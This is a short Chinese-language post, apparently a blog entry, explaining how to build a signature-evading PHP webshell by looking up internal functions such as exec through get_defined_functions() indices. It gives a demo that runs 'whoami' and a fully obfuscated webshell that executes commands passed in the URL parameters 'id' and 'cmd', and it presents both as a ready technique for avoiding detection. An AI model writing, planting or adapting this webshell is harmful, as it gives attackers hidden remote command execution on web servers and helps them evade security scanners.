php无特征webshell(get_defined_functions函数)

该函数的php.net介绍

1
http://php.net/manual/zh/function.get-defined-functions.php

具体可以到里面看,其实就是返回了所有定义的函数,包括自定义及内置的函数,那么我们就可以通过该函数进行调用比如一些exec,system等函数,从而达到无特征webshell。
其实这里还是有点小问题,就是说,可能返回的函数名数组的位置可能不是固定的,可能需要我们测试目标上的是否和本地的位置为一致的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function callfunc()
{

$func = get_defined_functions(); //函数自己完成所有函数的枚举,成为list
$args = func_get_args(); //获取传入参数值
$func_id = array_shift($args); //获取传入的函数所代表的list key
$func_name = $func['internal'][$func_id]; //以key来索引函数名

return call_user_func_array($func_name, $args); //调用回调函数,传参执行
}

print callfunc(1076, "whoami");
?>

我的exec位置在1076,大家可以自己echo一下get_defined_functions(),看看自己的exec在什么位置。

demo如上,那么我们就可以按照使用get_defined_functions()的思路来把所有的函数名称替换一下。
其中,我的各个函数的位置如图:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function f()
{
$a = get_defined_functions()['internal'];
$s = $a[3](); //func_get_args();
$b = $a[1427]($s); //array_shift($s);
$c = $a[$b]; //$func['internal'][$b];
return $a[1178]($c, $s);//return call_user_func_array($func_name, $args);
}

print f($_GET['id'], $_GET['cmd']);
?>